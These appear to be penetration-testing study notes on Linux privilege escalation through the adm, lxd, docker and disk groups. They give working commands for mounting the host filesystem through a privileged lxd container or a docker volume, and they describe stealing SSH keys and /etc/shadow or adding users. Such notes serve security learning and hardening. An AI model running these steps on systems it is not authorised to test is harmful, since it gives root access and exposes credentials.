Privileged Groups

ADM Group

Members of the adm group are able to read all logs stored in /var/log.

This does not directly grant root access, but could be leveraged to gather sensitive data stored in log files or enumerate user actions and running cron jobs.

LXC and LXD groups (Linux Containers) Privilege Escalation

Prerequisites: the current used needs to be a member of the lxc or lxd groups

Description: it is possible to grant ourselves root privileges by editing the container template (often forgot on the target machine)

Attack Path:

  1. Suppose we found a folder named ContainerImages where the container image is stored (without any password protection)

  2. Import the container as an image: lxc image import container-template-name.tar.xz --alias temp

  3. Ensure the container was imported: lxc image list

  4. Start a privileged container named r00t: lxc init temp r00t -c security.privileged=true

    • This will start a privileged container with the security.privileged set to true to run the container without a UID mapping, making the root user in the container the same as the root user on the host.

  5. Mount the host file system: lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true

  6. Start the container: lxc start r00t

  7. The host filesystem will be mounted inside the container at the previously specified path (e.g. /mnt/root)

Docker Group

Placing a user in the docker group is essentially equivalent to root level access to the file system without requiring a password.

Members of the docker group can spawn new docker containers.


  • One example would be running the command docker run -v /root:/mnt -it ubuntu

  • This command creates a new Docker instance with the /root directory on the host file system mounted as a volume.

  • This way, it is possible to browse to the mounted directory(holding the entire filesystem) and retrieve or add SSH keys for the root user or retrieve the contents of the /etc/shadow file for offline password cracking or adding a privileged user.

Disk Group

Users within the disk group have full access to any devices contained within /dev

Such as /dev/sda1, which is typically the main device used by the operating system.

An attacker with these privileges can use debugfs to access the entire file system with root level privileges.

This could be leveraged to retrieve SSH keys, credentials or to add a new user.

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